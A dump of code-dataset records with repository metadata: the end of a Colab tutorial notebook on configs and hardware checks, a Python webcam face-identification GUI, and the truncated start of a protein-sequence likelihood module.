\"https://localhost:8080/\"} outputId=\"263244ba-1e87-4cca-9d45-f703e02bad8e\"\nargs.arg1 = 42\nargs.arg2 = 'bar'\nmain(args)\n\n# + id=\"WY8-ToefJxjU\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"b5c789d2-f813-409f-89b5-23c266e2cc89\"\nargs.arg1 = 49\nargs.arg2 = 'foo'\nmain(args)\n\n# + [markdown] id=\"I9YU0L_lKQIc\"\n# ## YAML files\n#\n# We show how to create a config file locally, and then pass it to your code.\n\n# + id=\"cdbgSjt7Kaiv\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"9782c31d-bf49-4613-c320-23eefc1032cd\"\n# %%writefile myconfig.yaml\nmodel_params:\n  name: 'VanillaVAE'\n  in_channels: 3\n  latent_dim: 128\n\nexp_params:\n  dataset: celeba\n  data_path: \"../../shared/Data/\"\n\n# + id=\"9GMLwuvxK8d6\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"023cc596-1f65-4416-e208-f8d4ed3558bc\"\n# !cat myconfig.yaml\n\n# + id=\"BQQvL8hZLn75\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 17} outputId=\"dd022703-d610-4782-d104-b59d1aa9254e\"\nfrom google.colab import files\nfile = 'myconfig.yaml'\n# #!touch $file \nfiles.view(file)\n\n# + id=\"MFnxc7WGLven\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"952c0a8e-5c3d-4c1d-c2fb-1cea85cf58f7\"\n# !cat myconfig.yaml\n\n# + id=\"KMw1vYZ1KSLU\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"3e5ec991-e4f4-458d-9076-7281a1a98cf4\"\nimport yaml\n\nfilename = 'myconfig.yaml'\n\nwith open(filename, 'r') as file:\n  config = yaml.safe_load(file)\n\nprint(type(config))\nprint(config)\nprint(config['model_params']['in_channels'])\n\n# + [markdown] id=\"PuSsmj_fZ106\"\n# ## Avoiding problems with global state\n#\n# One of the main drawbacks of colab is that all variables are globally visible, so you may accidently write a function that depends on the current state of the notebook, but which is not passed in as an argument. Such a function may fail if used in a different context.\n#\n# One solution to this is to put most of your code in files, and then have the notebook simply import the code and run it, like you would from the command line. Then you can always run the notebook from scratch, to ensure consistency.\n#\n# Another solution is to use the [localscope](https://localscope.readthedocs.io/en/latest/README.html) package can catch some of these errors.\n#\n#\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"Q0FmEeIgc0YI\" outputId=\"0d71c4a8-a4fb-45bd-e137-c391e408c83f\"\n# !pip install localscope\n\n\n# + id=\"9zfUiUB8d-jh\"\nfrom localscope import localscope\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"wI5wXzUPdlOS\" outputId=\"500dfc1f-1cbc-4fa6-a30e-02f32258fa31\"\na = 'hello world'\ndef myfun():\n   print(a) # silently accesses global variable\n\nmyfun()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 337} id=\"T3V1iV32czq8\" outputId=\"b346cb7a-f252-41bc-992b-dd72e5aec825\"\na = 'hello world'\n@localscope\ndef myfun():\n  print(a)\n\nmyfun()\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 337} id=\"5t48_AMbAN8V\" outputId=\"71fdaacf-4650-4a52-9fb5-da5873c33e73\"\ndef myfun2():\n  return 42\n\n@localscope\ndef myfun3():\n  return myfun2()\n\n  \n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"DAqLZ8PdAquy\" outputId=\"021e8282-a283-414c-ef1d-46521da89e49\"\n@localscope.mfc # allow for global methods, functions, classes\ndef myfun4():\n  return myfun2()\n\nmyfun4()\n\n# + [markdown] id=\"iZaeVouoAhXP\"\n# ## Factoring out functionality into files stored on github\n#\n# The recommended workflow is to  develop your code in the colab in the usual way, and when it is working, to factor out the core code into separate files. You can  edit these files locally in the colab editor, and then push the code to github when ready (see details above). To run functions defined in a local file, just import them. For example, suppose we have created the file /content/pyprobml/scripts/fit_flax.py; we  can use this idiom to run its test suite:\n# ```\n# import pyprobml.scripts.fit_flax as ff\n# ff.test()\n# ```\n# If you make local edits, you want to be sure\n#  that you always import the latest version of the file (not a cached version). So you need to use this piece of colab magic first:\n# ```\n# # # %load_ext autoreload\n# # # %autoreload 2\n# ```\n#\n\n# + [markdown] id=\"DdXlYCe1AlJa\"\n# ## File editors\n#\n# Colab has a simple file editor, illustrated below for an example file.\n# This lets you separate your code from the output of your code, as with other IDEs, such as [Jupyter lab](https://jupyterlab.readthedocs.io/en/stable/).\n#\n# <img src=\"https://github.com/probml/probml-notebooks/raw/main/images/colab-file-editor.png\">\n#\n#\n#\n\n# + [markdown] id=\"LgLmSpaHBxLu\"\n# You can click on a class name when holding Ctrl and the source code will open in the file viewer. (h/t [Amit Choudhary's blog](https://amitness.com/2020/06/google-colaboratory-tips/).\n#\n# <img src=\"https://github.com/probml/probml-notebooks/raw/main/images/colab-goto-class.gif\">\n#\n#\n\n# + [markdown] id=\"4qi2xKMbAnlj\"\n#\n# ## VScode\n# The default colab file editor is very primitive.\n# See [this article](https://amitness.com/vscode-on-colab/) for how to run VScode\n# from inside your Colab browser. Unfortunately this is a bit slow. It is also possible to run VScode locally on your laptop, and have it connect to colab via SSH, but this is more complex (see [this blog post](https://amitness.com/vscode-on-colab/) or [this medium post](https://medium.com/@robertbracco1/configuring-google-colab-like-a-pro-d61c253f7573#4cf4) for details).\n#\n#\n\n# + [markdown] id=\"7KrRcbQ71ZyZ\"\n# # Hardware accelerators\n#\n# By default, Colab runs on a CPU, but you can select GPU or TPU for extra speed, as we show below. To get access to more powerful machines (with faster processors, more memory, and longer idle timeouts), you can subscript to [Colab Pro](https://colab.research.google.com/signup). At the time of writing (Jan 2021), the cost is $10/month (USD). This is a good deal if you use GPUs a lot. \n#\n# <img src=\"https://github.com/probml/probml-notebooks/raw/main/images/colab-pro-spec-2020.png\" height=300>\n#\n#\n#\n\n# + [markdown] id=\"Qpb9N-c-3RSf\"\n# ## CPUs\n#\n# To see what devices you have, use this command.\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"SZYIR1Kk1ktp\" outputId=\"04ab4999-74d4-47d6-f9cb-004ca13b590b\"\nfrom tensorflow.python.client import device_lib\ndevice_lib.list_local_devices()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"hs_l1zUY3UuQ\" outputId=\"99a7db7f-6325-452e-ca69-ab7439070d67\"\n# !cat /proc/version\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"WHG13Iwa3Z5k\" outputId=\"ebc74028-163e-48e2-a0c6-56667e4e0c0d\"\nfrom psutil import cpu_count\n\nprint('num cores', cpu_count())\n\n# !cat /proc/cpuinfo\n\n\n# + [markdown] id=\"PivaBI5za45p\"\n# ## Memory\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"xg3C0Yrq3job\" outputId=\"0b480191-8489-4b6c-fc26-c6f3b51aecc2\"\nfrom psutil import virtual_memory\nram_gb = virtual_memory().total / 1e9\nprint('RAM (GB)', ram_gb)\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"W_I7m_hUbBpu\" outputId=\"b688a7d0-1c53-4864-c79f-fde42cda4db6\"\n\n# !cat /proc/meminfo\n\n# + [markdown] id=\"v0G2d13kIEz5\"\n# ## GPUs\n#\n# If you select the 'Runtime' menu at top left, and then select 'Change runtime type' and then select 'GPU', you can get free access to a GPU. \n#\n#\n#\n#\n\n# + [markdown] id=\"MGVZB0esI0QG\"\n#\n# To see what kind of GPU you are using, see below.\n#\n\n# + id=\"FikkXWQqBU9O\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"ba7b6c8e-5089-4342-f9f4-def0e5ad86a8\"\ngpu_info = !nvidia-smi\ngpu_info = '\\n'.join(gpu_info)\nprint(gpu_info)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"GU6nII1F5S2S\" outputId=\"d220a1a6-cc83-4718-c77e-2df38f13bf9c\"\n# !grep Model: /proc/driver/nvidia/gpus/*/information | awk '{$1=\"\";print$0}'\n\n# + id=\"hzi1OpMaZlAc\"\n\n", "meta": {"hexsha": "563ec0a21fa90860084bbbb51c86fff39daea1e8", "size": 36799, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks-text-format/colab_intro.py", "max_stars_repo_name": "arpitvaghela/probml-notebooks", "max_stars_repo_head_hexsha": "32ecb309dd474b989fd1c6ce4ad6dab7a25bbead", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 166, "max_stars_repo_stars_event_min_datetime": "2021-07-16T17:33:09.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T03:35:34.000Z", "max_issues_repo_path": "notebooks-text-format/colab_intro.py", "max_issues_repo_name": "arpitvaghela/probml-notebooks", "max_issues_repo_head_hexsha": "32ecb309dd474b989fd1c6ce4ad6dab7a25bbead", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 29, "max_issues_repo_issues_event_min_datetime": "2021-07-21T16:31:51.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T19:50:13.000Z", "max_forks_repo_path": "notebooks-text-format/colab_intro.py", "max_forks_repo_name": "arpitvaghela/probml-notebooks", "max_forks_repo_head_hexsha": "32ecb309dd474b989fd1c6ce4ad6dab7a25bbead", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 48, "max_forks_repo_forks_event_min_datetime": "2021-07-17T08:26:18.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T03:36:18.000Z", "avg_line_length": 37.7425641026, "max_line_length": 466, "alphanum_fraction": 0.7231446507, "include": true, "reason": "import numpy,import jax", "num_tokens": 12125, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3276682876897044, "lm_q2_score": 0.27512972976675254, "lm_q1q2_score": 0.0901512874452029}}
{"text": "from PIL import Image, ImageTk\nimport threading\nimport thread\nimport time\nimport Tkinter\nimport time\nimport cv2\nimport Skynet\nimport numpy as np\nimport math\nimport sys\nimport os\n\ndef clamp_aspect(ratio, width, height):\n\twidth = float(width)\n\theight = float(height)\n\tif width > height * ratio:\n\t\twidth = height * ratio\n\telif height > width / ratio:\n\t\theight = width / ratio\n\twidth = int(math.ceil(width))\n\theight = int(math.ceil(height))\n\treturn width, height\n\ndef resize_to_height(img, height):\n\tratio = float(height) / float(img.shape[0])\n\twidth = int(math.ceil(float(img.shape[1]) * ratio))\n\treturn cv2.resize(img, (width, height))\n\ndef centered_clamp_width(img, width):\n\toffset = img.shape[1] - width\n\tif not offset > 0:\n\t\treturn img\n\toffset_a = offset//2\n\toffset_b = offset_a\n\tif offset % 2:\n\t\toffset_b += 1\n\treturn img[:, offset_a:(img.shape[1]-offset_b)]\n\ndef threaded_rescale(frame_in, frame_out, tr_control, tr_lock, instance_id):\n\ttr_lock.acquire()\n\twhile not tr_control[\"stop\"]:\n\t\tif len(frame_in) and frame_in[tr_control['ci']] is not None and not tr_control['ready']:\n\t\t\tframe = frame_in[tr_control['ci']]\n\t\t\ttr_control['ready'] = True\n\t\t\tprint \"ID\"+str(instance_id)+\" got ci \"+str(tr_control['ci'])\n\t\t\tsize = clamp_aspect(16.0/9.0, tr_control[\"width\"], tr_control[\"height\"])\n\t\t\ttr_lock.release()\n\t\t\tframe = cv2.resize(frame, size)\n\t\t\tframe = Image.fromarray(frame)\n\t\t\tframe = ImageTk.PhotoImage(frame)\n\t\t\ttr_lock.acquire()\n\t\t\tframe_out[0]=frame\n\t\t\ttr_control['done']=False\n\t\telse:\n\t\t\ttr_lock.release()\n\t\t\ttr_lock.acquire()\n\nclass object_tail:\n\tdef __init__(self, frame, point):\n\t\tself.locs = [point]\n\t\tself.face_id = None\n\t\tself.face_data = {}\n\t\tself.face_callback = None\n\t\tself.rek_req_active = False\n\t\tself.last_time = 0\n\n\tdef __eq__(self, other):\n\t\tif other is None:\n\t\t\treturn False\n\t\treturn other.locs == self.locs\n\n\tdef dist(self, point):\n\t\treturn math.sqrt((point[1]-self.locs[-1][1])**2 + (point[0]-self.locs[-1][0])**2)\n\n\tdef add(self, point):\n\t\tself.locs.append(point)\n\n\tdef plot_tail(self, img, col):\n\t\tx, y, w, h = self.locs[-1]\n\t\tcv2.rectangle(img, (x, y), (x + w, y + h), col, 2)\n\t\tif len(self.face_data):\n\t\t\ttext_name = self.face_data[\"First Name\"]+\" \"+self.face_data[\"Last Name\"]\n\t\t\tcv2.putText(img, text_name, (x,y+h+24), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (255, 255, 255), 2)\n\t\n\tdef rekognize(self, img, facedb, callback=None):\n\t\tself.face_callback = callback\n\t\tx, y, w, h = self.locs[-1]\n\t\tif w < 80 or h < 80:\n\t\t\treturn False\n\t\tself.rek_req_active = True\n\t\tx1 = x - (w/2)\n\t\tx2 = x + ((3*w)/2)\n\t\ty1 = y - (h/2)\n\t\ty2 = y + ((3*h)/2)\n\t\tx1=max(x1, 0)\n\t\ty1=max(y1, 0)\n\t\tx2=min(x2, img.shape[1])\n\t\ty2=min(y2, img.shape[0])\n\t\topencv_image = img[y1:y2, x1:x2]\n\t\tt = threading.Thread(target=t_rekognize, args=(opencv_image, facedb, self.c_rekognize))\n\t\tt.daemon = True\n\t\tt.start()\n\t\n\tdef c_rekognize(self, result):\n\t\tself.rek_req_active = False\n\t\tif len(result)!=3:\n\t\t\tprint \"Error: Bad data\"\n\t\t\treturn False\n\t\tif result[1] is None:\n\t\t\treturn False\n\t\tself.face_id = result[1][\"FaceId\"]\n\t\tself.face_data = result[1][\"PersonData\"]\n\t\tself.last_time = time.time()\n\t\tif self.face_callback is not None:\n\t\t\tself.face_callback(self, result)\n\ndef t_rekognize(img, facedb, callback):\n\tenc_jpeg = cv2.imencode('.jpg', img)[1].tostring()\n\tresult = facedb.identify_face(enc_jpeg, 0.85)\n\tcallback(result)\n\nclass simpleapp_tk:\n\tdef __init__(self):\n\t\tself.root=Tkinter.Tk()\n\t\tself.root.title(\"Skynet Watches\")\n\t\tself.root.state(\"zoomed\")\n\t\tself.root.focus_set()\n\t\tself.root.wm_iconbitmap(bitmap = \"mia.ico\")\n\t\t\n\t\tself.root.configure(bg=\"#555\")\n\t\tself.cframe = Tkinter.Frame(self.root, bg=\"#555\", width=200)\n\t\tself.cframe.pack(fill=Tkinter.Y, padx=10, side=Tkinter.LEFT)\n\t\tself.cframe.pack_propagate(0)\n\t\t\n\t\tself.vframe = Tkinter.Label(self.root, bd=0, bg='#222')\n\t\tself.vframe.pack(fill=\"both\", expand=True)\n\t\t\n\t\tself.facedb = Skynet.FaceDatabase('creds', table='skynetdb', collection='Skynet', bucket='skynetdb')\n\t\tself.face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n\t\tself.cfaces = {}\n\t\t\n\t\tself.tr_control = {\n\t\t\t\t'stop':False,\n\t\t\t\t'ready':False,\n\t\t\t\t'done':False,\n\t\t\t\t'width':100,\n\t\t\t\t'height':100,\n\t\t\t\t'ci':0,\n\t\t\t\t'buf_size':8,\n\t\t\t\t'show_frame':self.show_frame\n\t\t\t}\n\t\t#self.tr_lock = threading.Lock()\n\t\tself.tr_iframe = {}\n\t\tself.tr_oframe = [None]\n\t\tself.tracked_faces = []\n\t\t\n\t\t#Camera\n\t\tself.width, self.height = 1280, 720\n\t\tself.cap = cv2.VideoCapture(1)\n\t\ttime.sleep(3)\n\t\tself.cap.set(cv2.CAP_PROP_FRAME_WIDTH, self.width)\n\t\tself.cap.set(cv2.CAP_PROP_FRAME_HEIGHT, self.height)\n\t\tself.get_frame()\n\t\t#self.show_frame()\n\t\t\n\t\t#thread.start_new_thread(threaded_rescale, (self.tr_iframe, self.tr_oframe, self.tr_control, self.tr_lock, 1))\n\t\t#thread.start_new_thread(threaded_rescale, (self.tr_iframe, self.tr_oframe, self.tr_control, self.tr_lock, 2))\n\t\t#thread.start_new_thread(threaded_rescale, (self.tr_iframe, self.tr_oframe, self.tr_control, self.tr_lock, 3))\n\t\t#thread.start_new_thread(threaded_rescale, (self.tr_iframe, self.tr_oframe, self.tr_control, self.tr_lock, 4))\n\t\t#threading.Thread.__init__(self)\n\t\n\tdef get_frame(self):\n\t\t_, frame = self.cap.read()\n\t\tframe = cv2.flip(frame, 1)\n\t\t\n\t\tgray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\t\tfaces = list(self.face_cascade.detectMultiScale(gray, 1.3, 5))\n\t\tfaces = [list(x) for x in faces]\n\t\tif len(self.tracked_faces) == 0 or len(faces) == 0:\n\t\t\tself.tracked_faces = []\n\t\t\tfor item in faces:\n\t\t\t\tinter = object_tail(frame, item)\n\t\t\t\tinter.rekognize(frame[:, :], self.facedb, self.pf_inter)\n\t\t\t\tself.tracked_faces.append(inter)\n\t\telse:\n\t\t\ttry:\n\t\t\t\tself.tracked_faces = [x for x in self.tracked_faces if (min([x.dist(y) for y in faces]) < 45)]\n\t\t\t\tfor tracker in self.tracked_faces:\n\t\t\t\t\t\ttracker.counter = 0\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tindex = [tracker.dist(x) for x in faces].index(min([tracker.dist(x) for x in faces]))\n\t\t\t\t\t\t\ttracker.add(faces[index])\n\t\t\t\t\t\t\tfaces.remove(faces[index])\n\t\t\t\t\t\texcept ValueError, e:\n\t\t\t\t\t\t\tprint e\n\t\t\t\t\t\t\tprint faces\n\t\t\t\tfor point in faces:\n\t\t\t\t\tinter = object_tail(frame, point)\n\t\t\t\t\tinter.rekognize(frame[:, :], self.facedb, self.pf_inter)\n\t\t\t\t\tself.tracked_faces.append(inter)\n\t\t\texcept ValueError, e:\n\t\t\t\tprint e\n\t\t\t\tprint faces\n\t\tcurrent_faceids = []\n\t\tfor face in self.tracked_faces:\n\t\t\tif face.face_id is not None:\n\t\t\t\tcurrent_faceids.append(face.face_id)\n\t\t\telif not face.rek_req_active and face.last_time < time.time():\n\t\t\t\tface.rekognize(frame[:, :], self.facedb, self.pf_inter)\n\t\tfor faceid in self.cfaces:\n\t\t\tif not faceid in current_faceids and not self.cfaces[faceid]['hidden'] and not self.cfaces[faceid]['pop_timeout']:\n\t\t\t\tself.cfaces[faceid][\"pop_timeout\"] = self.root.after(5000, self.pop_face, (faceid))\n\t\tfor faceid in current_faceids:\n\t\t\tif not faceid in self.cfaces or self.cfaces[faceid]['hidden']:\n\t\t\t\tself.push_face(faceid)\n\t\t\n\t\tcol = 0\n\t\tfor item in self.tracked_faces:\n\t\t\titem.plot_tail(frame, (255-col, col, 255))\n\t\t\tcol += 255/3\n\t\t\n\t\tframe = cv2.cvtColor(frame, cv2.COLOR_BGR2RGBA)\n\t\tsize = clamp_aspect(16.0/9.0, self.vframe.winfo_width(), self.vframe.winfo_height())\n\t\tframe = cv2.resize(frame, size)\n\t\tframe = Image.fromarray(frame)\n\t\tframe = ImageTk.PhotoImage(frame)\n\t\tself.vframe.configure(image=frame)\n\t\tself.vframe.image=frame\n\t\t'''\n\t\tself.tr_lock.acquire()\n\t\tself.tr_control['width'] = self.vframe.winfo_width()\n\t\tself.tr_control['height'] = self.vframe.winfo_height()\n\t\tnext_index = self.tr_control['ci'] + 1\n\t\tif next_index >= self.tr_control['buf_size']:\n\t\t\tnext_index = 0\n\t\tself.tr_iframe[next_index] = frame\n\t\tself.tr_control['ci'] = next_index\n\t\tself.tr_control['ready'] = False\n\t\tself.tr_lock.release()\n\t\t'''\n\t\tself.root.after(10, self.get_frame)\n\t\n\tdef show_frame(self):\n\t\tself.tr_lock.acquire()\n\t\tif self.tr_oframe[0] is not None and not self.tr_control['done']:\n\t\t\tmyframe = self.tr_oframe[0]\n\t\t\tself.tr_control['done']=True\n\t\t\tself.tr_lock.release()\n\t\t\tself.tr_lock.acquire()\n\t\tif not self.tr_control['stop']:\n\t\t\tself.root.after(10, self.show_frame)\n\t\tself.tr_lock.release()\n\t\n\tdef pf_inter(self, tail, result):\n\t\tif len(tail.face_data) > 0:\n\t\t\tself.push_face(tail.face_id, \"Confidence: \"+\"{0:.2f}\".format(result[2])+\"%\")\n\t\n\tdef push_face(self, faceid, addtl_label=False):\n\t\tif faceid in self.cfaces:\n\t\t\tif self.cfaces[faceid]['pop_timeout']:\n\t\t\t\tself.root.after_cancel(self.cfaces[faceid][\"pop_timeout\"])\n\t\t\t\tself.cfaces[faceid][\"pop_timeout\"] = False\n\t\t\tif self.cfaces[faceid]['ready'] and addtl_label != False:\n\t\t\t\tself.cfaces[faceid][\"ui_extra\"].config(text=addtl_label)\n\t\t\t\tself.cfaces[faceid]['addtl_label']=addtl_label\n\t\t\tif self.cfaces[faceid]['hidden']:\n\t\t\t\tself.cfaces[faceid][\"ui_spacer\"].pack(anchor=Tkinter.N)\n\t\t\t\tself.cfaces[faceid][\"ui_pic\"].pack(anchor=Tkinter.N, fill=Tkinter.X)\n\t\t\t\tself.cfaces[faceid][\"ui_text\"].pack(anchor=Tkinter.N, fill=Tkinter.X)\n\t\t\t\tif addtl_label != False or self.cfaces[faceid]['addtl_label'] != False:\n\t\t\t\t\tself.cfaces[faceid][\"ui_extra\"].pack(anchor=Tkinter.N, fill=Tkinter.X)\n\t\t\t\tself.cfaces[faceid]['hidden'] = False\n\t\t\treturn\n\t\tself.cfaces[faceid] = {'ready':False,'hidden':False, 'pop_timeout':False, 'addtl_label':False}\n\t\tself.cfaces[faceid][\"db_image\"], self.cfaces[faceid][\"db_data\"] = self.facedb.get_by_faceid(faceid)\n\t\tself.cfaces[faceid][\"ui_spacer\"] = Tkinter.Frame(self.cframe, bg=\"#555\", width=200, height=16)\n\t\tself.cfaces[faceid][\"ui_spacer\"].pack(anchor=Tkinter.N)\n\t\tself.cfaces[faceid][\"ui_spacer\"].pack_propagate(0)\n\t\t\n\t\tself.cfaces[faceid][\"ui_pic\"] = Tkinter.Label(self.cframe, bg=\"#444\", bd=0)\n\t\tself.cfaces[faceid][\"ui_pic\"].pack(anchor=Tkinter.N, fill=Tkinter.X)\n\t\timage_data = np.fromstring(self.cfaces[faceid][\"db_image\"], dtype='uint8')\n\t\topencv_image = cv2.imdecode(image_data, cv2.IMREAD_UNCHANGED)\n\t\topencv_image = cv2.cvtColor(opencv_image, cv2.COLOR_BGR2RGB)\n\t\topencv_image = resize_to_height(opencv_image, 150)\n\t\topencv_image = centered_clamp_width(opencv_image, 200)\n\t\tframe = Image.fromarray(opencv_image)\n\t\timage = ImageTk.PhotoImage(frame)\n\t\tself.cfaces[faceid][\"ui_pic\"].configure(image=image)\n\t\tself.cfaces[faceid][\"ui_pic\"].image = image\n\t\t\n\t\tself.cfaces[faceid][\"ui_text\"] = Tkinter.Label(self.cframe, font=(\"Trebuchet MS\", 16), bg=\"#444\", fg=\"#FFF\")\n\t\tnew_text = self.cfaces[faceid][\"db_data\"][\"First Name\"]+\" \"+self.cfaces[faceid][\"db_data\"][\"Last Name\"]\n\t\tprint new_text\n\t\tself.cfaces[faceid][\"ui_text\"].config(text=new_text)\n\t\tself.cfaces[faceid][\"ui_text\"].pack(anchor=Tkinter.N, fill=Tkinter.X)\n\t\t\n\t\tself.cfaces[faceid][\"ui_extra\"] = Tkinter.Label(self.cframe, font=(\"Trebuchet MS\", 11), bg=\"#444\", fg=\"#FEFEFE\")\n\t\textra_text = False\n\t\tif addtl_label != False:\n\t\t\textra_text = addtl_label\n\t\t\tself.cfaces[faceid]['addtl_label']=addtl_label\n\t\telif self.cfaces[faceid]['addtl_label'] != False:\n\t\t\textra_text = self.cfaces[faceid]['addtl_label']\n\t\tif extra_text:\n\t\t\tself.cfaces[faceid][\"ui_extra\"].config(text=extra_text)\n\t\t\tself.cfaces[faceid][\"ui_extra\"].pack(anchor=Tkinter.N, fill=Tkinter.X)\n\t\t\n\t\tself.cfaces[faceid]['ready']=True\n\t\n\tdef pop_face(self, faceid):\n\t\tif not faceid in self.cfaces:\n\t\t\treturn\n\t\ttry:\n\t\t\tself.cfaces[faceid][\"ui_spacer\"].pack_forget()\n\t\t\tself.cfaces[faceid][\"ui_pic\"].pack_forget()\n\t\t\tself.cfaces[faceid][\"ui_text\"].pack_forget()\n\t\t\tself.cfaces[faceid][\"ui_extra\"].pack_forget()\n\t\t\tself.cfaces[faceid]['hidden'] = True\n\t\texcept KeyError, e:\n\t\t\tprint e\n\t\t\tprint self.cfaces[faceid]\n\t\t\traise\n\t\n\tdef end_it_all(self):\n\t\twhile len([face for face in self.tracked_faces if face.rek_req_active]):\n\t\t\ttime.sleep(10)\n\t\tprint \"Bye!\"\n\t\tself.cap.release()\n\t\tself.root.destroy()\n\t\tos._exit(0)\n\t\n\tdef run(self):\n\t\tself.root.protocol(\"WM_DELETE_WINDOW\", self.end_it_all)\n\t\tself.root.mainloop()\n\nif __name__ == \"__main__\":\n\tapp = simpleapp_tk()\n\tapp.run()", "meta": {"hexsha": "c6c50a5a47e14371e2b2062e79e59c8d541c38b7", "size": 11625, "ext": "py", "lang": "Python", "max_stars_repo_path": "mia.py", "max_stars_repo_name": "Skynet-Watches/Skynet-Database-Utils", "max_stars_repo_head_hexsha": "debac4f1a2c1415f3f1ac920161b024a2896027c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "mia.py", "max_issues_repo_name": "Skynet-Watches/Skynet-Database-Utils", "max_issues_repo_head_hexsha": "debac4f1a2c1415f3f1ac920161b024a2896027c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "mia.py", "max_forks_repo_name": "Skynet-Watches/Skynet-Database-Utils", "max_forks_repo_head_hexsha": "debac4f1a2c1415f3f1ac920161b024a2896027c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.1911764706, "max_line_length": 117, "alphanum_fraction": 0.6939354839, "include": true, "reason": "import numpy", "num_tokens": 3522, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5698526660244838, "lm_q2_score": 0.1581743467959293, "lm_q1q2_score": 0.09013607321834158}}
{"text": "from .. import logging as logg\nfrom ..preprocessing.neighbors import (\n    compute_connectivities_umap,\n    get_neighs,\n    neighbors,\n    verify_neighbors,\n)\nfrom ..preprocessing.utils import sum_var\nfrom .utils import scale\nfrom .velocity_model import velocity_model\n\nfrom Bio import pairwise2\nfrom Bio.SubsMat import MatrixInfo as matlist\nfrom scipy.sparse import coo_matrix\nimport numpy as np\nfrom tqdm import tqdm\n\ndef get_iterative_indices(\n        indices,\n        index,\n        n_recurse_neighbors=0,\n        max_neighs=None,\n):\n    def iterate_indices(indices, index, n_recurse_neighbors):\n        if n_recurse_neighbors > 1:\n            index = iterate_indices(indices, index, n_recurse_neighbors - 1)\n        ix = np.append(index, indices[index])  # direct and indirect neighbors\n        if np.isnan(ix).any():\n            ix = ix[~np.isnan(ix)]\n        return ix.astype(int)\n\n    indices = np.unique(iterate_indices(indices, index, n_recurse_neighbors))\n    if max_neighs is not None and len(indices) > max_neighs:\n        indices = np.random.choice(indices, max_neighs, replace=False)\n    return indices\n\ndef get_indices(dist, n_neighbors=None, mode_neighbors='distances'):\n    D = dist.copy()\n    D.data += 1e-6\n\n    n_counts = sum_var(D > 0)\n    n_neighbors = (\n        n_counts.min() if n_neighbors is None else min(n_counts.min(), n_neighbors)\n    )\n    rows = np.where(n_counts > n_neighbors)[0]\n    cumsum_neighs = np.insert(n_counts.cumsum(), 0, 0)\n    dat = D.data\n\n    for row in rows:\n        n0, n1 = cumsum_neighs[row], cumsum_neighs[row + 1]\n        rm_idx = n0 + dat[n0:n1].argsort()[n_neighbors:]\n        dat[rm_idx] = 0\n    D.eliminate_zeros()\n\n    D.data -= 1e-6\n    if mode_neighbors == 'distances':\n        indices = D.indices.reshape((-1, n_neighbors))\n    elif mode_neighbors == 'connectivities':\n        knn_indices = D.indices.reshape((-1, n_neighbors))\n        knn_distances = D.data.reshape((-1, n_neighbors))\n        _, conn = compute_connectivities_umap(\n            knn_indices, knn_distances, D.shape[0], n_neighbors\n        )\n        indices = get_indices_from_csr(conn)\n    return indices, D\n\ndef predict_sequence_prob(seq_of_interest, vocabulary, model,\n                          verbose=False):\n    if 'esm' in model.name_:\n        from .fb_semantics import predict_sequence_prob_fb\n        return predict_sequence_prob_fb(\n            seq_of_interest, model.alphabet_, model.model_,\n            model.repr_layers_, verbose=verbose,\n        )\n    elif model.name_ == 'tape':\n        from .tape_semantics import predict_sequence_prob_tape\n        return predict_sequence_prob_tape(\n            seq_of_interest, model\n        )\n    else:\n        raise ValueError('Invalid model name {}'.format(model.name_))\n\ndef likelihood_compare(seq1, seq2, vocabulary, model,\n                       pos1=None, pos2=None, seq_cache={}, verbose=False):\n    likelihoods = []\n\n    for seq_pred, positions in zip([ seq1, seq2 ], [ pos1, pos2 ]):\n        if positions is None:\n            positions = range(len(seq_pred))\n\n        if seq_pred in seq_cache:\n            seq_probs = seq_cache[seq_pred][list(positions)]\n\n        else:\n            y_pred = predict_sequence_prob(\n                seq_pred, vocabulary, model, verbose=verbose\n            )\n            seq_probs = np.array([\n                y_pred[i + 1, (\n                    vocabulary[seq_pred[i]]\n                    if seq_pred[i] in vocabulary else\n                    model.unk_idx_\n                )]\n                for i in positions\n            ])\n\n        likelihoods.append(np.mean(seq_probs))\n\n    return likelihoods[1] - likelihoods[0]\n\ndef align_seqs(seq1, seq2):\n    # Align, prefer matches to gaps.\n    return pairwise2.align.globalms(\n        seq1, seq2, 5, -4, -4, 